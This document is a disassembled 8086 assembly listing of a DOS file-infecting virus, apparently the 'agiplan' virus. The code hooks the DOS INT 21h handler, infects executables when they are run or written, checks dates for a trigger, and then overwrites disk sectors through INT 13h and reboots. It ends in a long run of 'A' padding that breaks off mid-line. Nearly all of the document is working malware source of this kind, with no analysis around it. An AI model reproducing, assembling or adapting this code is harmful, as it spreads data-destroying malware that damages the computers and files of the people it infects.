+data_48e equ 1 ; (FFFE:0001=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +agiplan proc far + +start: + jmp loc_43 ; (04CF) +data_14 db 'P1.8&', 5, 'u', 7, 'X.', 0FFh + db '.', 5, '', 0FFh, 0 + db 75h,0F4h, 58h +data_15 db 9Dh + db 0B8h, 03h, 00h,0CFh, 90h, 90h + db 90h +data_16 db 0 + db 90h, 00h,0FFh,0FFh,0FFh,0FFh + db 0FFh + +agiplan endp + +; +; +; External Entry Point +; +; + +int_21h_entry proc far + pushf ; Push flags + cmp ah,4Eh ; 'N' + jne loc_4 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_4: + cmp ah,4Bh ; 'K' + jne loc_5 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_5: + cmp ah,0Eh + jne loc_6 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_6: + cmp ah,40h ; '@' + jne loc_7 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_7: + popf ; Pop flags + jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_8: + cli ; Disable interrupts + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + mov cs:data_31,ss ; (936E:05DB=0A10h) + mov cs:data_32,sp ; (936E:05DD=743h) + mov al,0FFh + mov cs:data_30,al ; (936E:05DA=0FFh) + mov ax,3524h + int 7Eh ; ??INT Non-standard interrupt. + cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) + jne loc_9 ; Jump if not equal + mov ax,2524h + mov dx,108h + push cs + pop ds + int 7Eh ; ??INT Non-standard interrupt. +loc_9: + sti ; Enable interrupts + jmp short loc_11 ; (01AA) +loc_10: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov cs:data_30,ah ; (936E:05DA=0FFh) + mov ss,cs:data_31 ; (936E:05DB=0A10h) + mov sp,cs:data_32 ; (936E:05DD=743h) + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es + popf ; Pop flags + sti ; Enable interrupts + jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_11: + pop ax + pop bx + push bx + push ax + cmp ah,4Bh ; 'K' + je loc_16 ; Jump if equal + cmp ah,40h ; '@' + jne loc_12 ; Jump if not equal + jmp short loc_15 ; (01CC) +loc_12: + cmp ah,0Eh + jne loc_13 ; Jump if not equal + jmp short loc_10 ; (0187) +loc_13: + cmp ah,4Eh ; 'N' + jne loc_10 ; Jump if not equal + jmp short loc_10 ; (0187) + db 90h +loc_14: + jmp loc_23 ; (0283) +loc_15: + mov ax,0Fh + cmp cs:data_29,al ; (936E:05D9=0) + jb loc_10 ; Jump if below + ja loc_14 ; Jump if above + cmp bx,4 + jbe loc_10 ; Jump if below or = + mov bx,1 + push cs + pop ds + add ds:data_11e,bx ; (936E:00FA=0) + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_11e ; (936E:00FA=0) + ja loc_10 ; Jump if above + mov bx,data_3e ; (0A10:000E=1) + add bx,data_32 ; (936E:05DD=743h) + mov ss:[bx],bx + jmp short loc_10 ; (0187) + db 01h, 90h, 90h, 90h +loc_16: + mov cs:data_33,dx ; (936E:05DF=3D7Bh) + mov cs:data_34,ds ; (936E:05E1=7B6Eh) + push cs + pop ds + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_12e ; (936E:00FE=0) + jb loc_17 ; Jump if below + jmp loc_10 ; (0187) +loc_17: + mov dx,data_33 ; (936E:05DF=3D7Bh) + mov ds,data_34 ; (936E:05E1=7B6Eh) + push ax + mov al,2Eh ; '.' + cld ; Clear direction + push ds + push dx + cli ; Disable interrupts + mov di,dx + push ds + pop es + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_20 ; Jump if not zero + push cs + pop ds + mov si,offset data_21 ; (936E:05C8=43h) + mov cx,3 + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_22 ; Jump if not zero + sub di,0Bh + mov si,offset data_20 ; (936E:05C0=43h) + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + mov dh,0FFh + mov cs:data_16,dh ; (936E:0128=0) + jz loc_18 ; Jump if zero + xor dx,dx ; Zero register + mov cs:data_16,dh ; (936E:0128=0) +loc_18: + add sp,6 + push cs + pop ds +loc_19: + call sub_2 ; (02C0) +loc_20: + jmp loc_10 ; (0187) + db 90h, 90h +loc_21: +;* jmp loc_34 ;*(03E0) + db 0E9h, 76h, 01h +loc_22: + add sp,6 + push cs + pop ds + mov dx,5C0h + mov data_33,dx ; (936E:05DF=3D7Bh) + mov data_34,ds ; (936E:05E1=7B6Eh) + mov dh,0FFh + mov data_16,dh ; (936E:0128=0) + jmp short loc_19 ; (025F) + db 90h +loc_23: + mov cx,501h + mov dx,100h + call sub_1 ; (02A0) + mov dx,101h + call sub_1 ; (02A0) + mov dx,380h + call sub_1 ; (02A0) + mov dx,381h + call sub_1 ; (02A0) + int 19h ; Bootstrap loader +int_21h_entry endp + + +; +; SUBROUTINE +; + +sub_1 proc near + push dx +loc_24: + mov ax,309h + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + sub dh,1 + cmp dh,0 + jge loc_24 ; Jump if > or = + pop dx + push dx + sub cx,100h + cmp cx,0 + jge loc_24 ; Jump if > or = + retn +sub_1 endp + + db 90h, 90h, 90h +loc_25: + jmp loc_31 ; (03A3) + +; +; SUBROUTINE +; + +sub_2 proc near + mov ah,48h ; 'H' + mov bx,0FFFh + int 7Eh ; ??INT Non-standard interrupt. + jc loc_21 ; Jump if carry Set + nop + mov ds:data_11e,ax ; (936E:00FA=0) + mov dx,data_33 ; (936E:05DF=3D7Bh) + mov ds,data_34 ; (936E:05E1=7B6Eh) + mov ah,3Ah ; ':' + mov bx,dx + add bx,1 + cmp ah,[bx] + mov ah,0 + jnz loc_27 ; Jump if not zero + mov bx,dx + mov al,50h ; 'P' + mov ah,[bx] + cmp ah,50h ; 'P' + ja loc_26 ; Jump if above + sub ah,40h ; '@' + jmp short loc_27 ; (02F5) +loc_26: + sub ah,60h ; '`' +loc_27: + mov dl,ah + mov ah,36h ; '6' + int 7Eh ; ??INT Non-standard interrupt. + cmp bx,9 + jb loc_25 ; Jump if below + mov dx,cs:data_33 ; (936E:05DF=3D7Bh) + mov ax,4300h + int 7Eh ; ??INT Non-standard interrupt. + mov cs:data_39,cx ; (936E:05EC=20h) + mov ax,4301h + xor cx,cx ; Zero register + int 7Eh ; ??INT Non-standard interrupt. + nop + mov ax,3D42h + int 7Eh ; ??INT Non-standard interrupt. + jc loc_25 ; Jump if carry Set + mov bx,ax + mov ah,3Fh ; '?' + mov cx,0FFFFh + mov dx,600h + mov ds,cs:data_11e ; (936E:00FA=0) + int 7Eh ; ??INT Non-standard interrupt. + jc loc_30 ; Jump if carry Set + add ax,600h + mov cs:data_10e,ax ; (936E:00F6=0) + cmp ax,1000h + jb loc_30 ; Jump if below + cmp ax,0D000h + ja loc_30 ; Jump if above + mov si,offset ds:[100h] ; (936E:0100=0E9h) + push cs + pop ds + xor di,di ; Zero register + mov es,cs:data_11e ; (936E:00FA=0) + mov cx,2FFh + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + xor di,di ; Zero register + mov si,data_2e ; (0000:0600=54h) + mov cx,10h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_30 ; Jump if zero + mov ah,cs:data_16 ; (936E:0128=0) + cmp ah,0FFh + jne loc_28 ; Jump if not equal + call sub_3 ; (03C8) + jmp short loc_29 ; (0377) +loc_28: + mov ax,9090h + mov ds:data_1e,ax ; (0000:046D=0B35h) +loc_29: + nop + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 7Eh ; ??INT Non-standard interrupt. + mov ax,5700h + int 7Eh ; ??INT Non-standard interrupt. + push cx + push dx + mov ah,40h ; '@' + mov cx,cs:data_10e ; (936E:00F6=0) + xor dx,dx ; Zero register + mov ds,cs:data_11e ; (936E:00FA=0) + int 7Eh ; ??INT Non-standard interrupt. + pop dx + pop cx + mov ax,5701h + int 7Eh ; ??INT Non-standard interrupt. +loc_30: + mov ah,3Eh ; '>' + int 7Eh ; ??INT Non-standard interrupt. +loc_31: + mov cx,cs:data_39 ; (936E:05EC=20h) + mov dx,cs:data_33 ; (936E:05DF=3D7Bh) + mov ds,cs:data_34 ; (936E:05E1=7B6Eh) + mov ax,4301h +loc_32: + int 7Eh ; ??INT Non-standard interrupt. + push cs + pop ds + mov es,cs:data_11e ; (936E:00FA=0) + mov ah,49h ; 'I' + int 7Eh ; ??INT Non-standard interrupt. + retn +sub_2 endp + + db 90h, 90h, 90h, 90h, 90h + +; +; SUBROUTINE +; + +sub_3 proc near + mov ax,0D08Eh + mov ds:data_1e,ax ; (0000:046D=0B35h) + mov di,data_2e ; (0000:0600=54h) + mov cx,3000h + mov ax,0B8C9h +loc_33: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ah,es:[di] + jne loc_33 ; Jump if not equal + mov dx,4200h + cmp dx,es:[di+1] + jne loc_33 ; Jump if not equal + mov dh,0BAh + cmp dh,es:[di-5] + jne loc_33 ; Jump if not equal + cmp cx,0 + jne loc_35 ; Jump if not equal + pop dx + jmp short loc_32 ; (03B5) + db 90h +loc_35: + mov dx,es:[di-4] + add dx,600h + mov es:[di-4],dx + retn +sub_3 endp + + db 11 dup (90h) + +; +; SUBROUTINE +; + +sub_4 proc near + mov ax,4A00h + mov bx,5Fh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,cs + sub bx,1 + mov ds,bx + mov ax,0FFFFh + mov ds:data_4e,ax ; (936D:0001=0FFFFh) + push cs + pop ds + mov ax,4800h + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ax,4800h + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + retn +sub_4 endp + + db 0CBh + db 26 dup (90h) + +; +; SUBROUTINE +; + +sub_5 proc near + mov cx,10h + mov si,offset data_15 ; (936E:0120=9Dh) + mov di,data_9e ; (936E:00F0=0) + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp cx,data_25 ; (936E:05D1=7BCh) + ja loc_38 ; Jump if above + jc loc_36 ; Jump if carry Set + cmp dx,data_26 ; (936E:05D3=701h) + ja loc_38 ; Jump if above +loc_36: + cmp cx,data_27 ; (936E:05D5=7BCh) + ja loc_39 ; Jump if above + jc loc_37 ; Jump if carry Set + cmp dx,data_28 ; (936E:05D7=501h) + ja loc_39 ; Jump if above +loc_37: + mov ax,0 + jmp short loc_40 ; (0487) +loc_38: + or ax,0F0h +loc_39: + or ax,0Fh +loc_40: + mov data_29,al ; (936E:05D9=0) + push dx + push cx + xor bx,bx ; Zero register + call sub_6 ; (04A5) + pop cx + pop dx + mov bx,data_6e ; (936E:0002=0) + call sub_6 ; (04A5) + mov ah,1 + add data_22,ah ; (936E:05CC=14h) + nop + retn +sub_5 endp + + db 90h, 90h, 90h, 90h + +; +; SUBROUTINE +; + +sub_6 proc near + add dl,data_24[bx] ; (936E:05CE=0) + cmp dl,20h ; ' ' + jbe loc_41 ; Jump if below or = + add dh,1 + sub dl,20h ; ' ' +loc_41: + add dh,data_23[bx] ; (936E:05CD=6) + cmp dh,0Bh + jbe loc_42 ; Jump if below or = + sub dh,0Bh + add cx,1 +loc_42: + add bx,bx + nop + mov data_26[bx],dx ; (936E:05D3=701h) + mov data_25[bx],cx ; (936E:05D1=7BCh) + retn +sub_6 endp + +loc_43: + push ax + mov al,3Fh ; '?' + mov dx,70h + out dx,al ; port 70h, RTC addr/enabl NMI + mov dx,71h + in al,dx ; port 71h, RTC clock/RAM data + cmp al,0F0h + jbe loc_44 ; Jump if below or = + jmp loc_47 ; (057B) +loc_44: + mov ax,357Fh + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ax,ds + mov es,ax + cmp bx,0FFFFh + jne loc_45 ; Jump if not equal + jmp loc_48 ; (0582) +loc_45: + mov dx,0FFFFh + mov ax,257Fh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_35,bx ; (936E:05E4=138Dh) + mov word ptr data_35+2,es ; (936E:05E6=28Ch) + mov ax,es + mov ds,ax + mov dx,bx + mov ax,257Eh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs + mov es,ax + mov ds,ax + mov dx,offset int_21h_entry + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_37,bx ; (936E:05E8=4EBh) + mov word ptr data_37+2,es ; (936E:05EA=0A10h) + mov ax,es + mov ds,ax + mov dx,bx + mov ax,25FDh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs + mov es,ax + mov ds,ax + mov dx,offset int_24h_entry + mov ax,2524h + mov ds:data_7e,dx ; (936E:0012=0) + mov ds:data_8e,ds ; (936E:0014=936Eh) + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_5 ; (0450) + call sub_4 ; (0410) + nop + nop + nop + nop + nop +loc_46: + mov cx,80h + mov di,data_47e ; (93CE:0600=41h) + mov si,data_5e ; (936E:0000=0) + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,ds + add ax,60h + mov word ptr ds:[579h],ax ; (936E:0579=0E64h) + nop + nop + mov es,ax + mov ds,ax + pop ax + nop + nop +;* jmp far ptr loc_1 ;*(0E64:0100) + db 0EAh, 00h, 01h, 64h, 0Eh +loc_47: + mov dx,data_46e ; (93CE:05B0=41h) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_48: + mov ax,4A00h + mov bx,5Fh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,ds:data_45e ; (93CE:002C=0FFFFh) + sub bx,1 + xor ax,ax ; Zero register + mov ds,bx + mov ds:data_48e,ax ; (FFFE:0001=0) + mov bx,cs + add bx,60h + mov dx,cs + sub dx,1 + mov ds,dx + mov ds:data_4e,bx ; (936D:0001=0FFFFh) + mov ah,50h ; 'P' + int 21h ; DOS Services ah=function 50h + ; set active PSP segmnt from bx + push cs + pop ds + jmp short loc_46 ; (0559) + db 'load error', 0Dh, 0Ah, '$' + db 0Ah, '$' + db 0 +data_20 db 'COMMAND.' +data_21 db 43h + db 4Fh, 4Dh, 00h +data_22 db 14h +data_23 db 6 ; Data table (indexed access) +data_24 db 0 ; Data table (indexed access) + db 4, 0 +data_25 dw 7BCh ; Data table (indexed access) +data_26 dw 701h ; Data table (indexed access) +data_27 dw 7BCh +data_28 dw 501h +data_29 db 0 +data_30 db 0FFh +data_31 dw 0A10h +data_32 dw 743h +data_33 dw 3D7Bh +data_34 dw 7B6Eh + db 90h +data_35 dd 28C138Dh +data_37 dd 0A1004EBh +data_39 dw 20h + db 90h, 90h, 4Dh, 10h, 0Ah,0FFh + db 0Fh + db 11 dup (90h) + db 0E9h,0CCh, 03h, 90h, 90h, 90h + db 90h, 90h, 9Ch, 50h, 31h,0C0h + db 2Eh, 38h, 26h,0DAh, 05h, 75h + db 07h +loc_49: + pop ax + popf ; Pop flags + jmp cs:data_37 ; (936E:05E8=4EBh) + cmp di,0 + jne loc_49 ; Jump if not equal + pop ax + popf ; Pop flags + mov ax,3 + iret ; Interrupt return + db 90h, 90h, 90h, 00h, 90h, 00h + db 0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch + db 80h,0FCh, 4Eh, 75h, 02h,0EBh + db 1Ch, 80h,0FCh, 4Bh, 75h, 02h + db 0EBh, 15h +loc_50: + cmp ah,0Eh + jne loc_51 ; Jump if not equal + jmp short loc_53 ; (0654) +loc_51: + cmp ah,40h ; '@' + jne loc_52 ; Jump if not equal + jmp short loc_53 ; (0654) +loc_52: + popf ; Pop flags + jmp cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_53: + cli ; Disable interrupts + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + mov cs:data_31,ss ; (936E:05DB=0A10h) + mov cs:data_32,sp ; (936E:05DD=743h) + mov al,0FFh + mov cs:data_30,al ; (936E:05DA=0FFh) + mov ax,3524h + int 7Eh ; ??INT Non-standard interrupt. + cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) + jne loc_54 ; Jump if not equal + mov ax,2524h + mov dx,108h + push cs + pop ds + int 7Eh ; ??INT Non-standard interrupt. +loc_54: + sti ; Enable interrupts + jmp short loc_56 ; (06AA) +loc_55: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov cs:data_30,ah ; (936E:05DA=0FFh) + mov ss,cs:data_31 ; (936E:05DB=0A10h) + mov sp,cs:data_32 ; (936E:05DD=743h) + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es + popf ; Pop flags + sti ; Enable interrupts + jmp cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_56: + pop ax + pop bx + push bx + push ax + cmp ah,4Bh ; 'K' + je loc_61 ; Jump if equal + cmp ah,40h ; '@' + jne loc_57 ; Jump if not equal + jmp short loc_60 ; (06CC) +loc_57: + cmp ah,0Eh + jne loc_58 ; Jump if not equal + jmp short loc_55 ; (0687) +loc_58: + cmp ah,4Eh ; 'N' + jne loc_55 ; Jump if not equal + jmp short loc_55 ; (0687) + db 90h +loc_59: + jmp loc_62 ; (0783) +loc_60: + mov ax,0Fh + cmp cs:data_29,al ; (936E:05D9=0) + jb loc_55 ; Jump if below + ja loc_59 ; Jump if above + cmp bx,4 + jbe loc_55 ; Jump if below or = + mov bx,1 + push cs + pop ds + add ds:data_11e,bx ; (936E:00FA=0) + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_11e ; (936E:00FA=0) + ja loc_55 ; Jump if above + mov bx,data_3e ; (0A10:000E=1) + add bx,data_32 ; (936E:05DD=743h) + mov ss:[bx],bx + jmp short loc_55 ; (0687) + db 01h, 90h, 90h, 90h +loc_61: + jmp loc_63 ; (1A7F) + db 'Hello - Copyright S & S Internat' + db 'ional, 1990', 0Ah, 0Dh, '$' + db 1Ah, 41h, 41h + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAA' +loc_62: + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 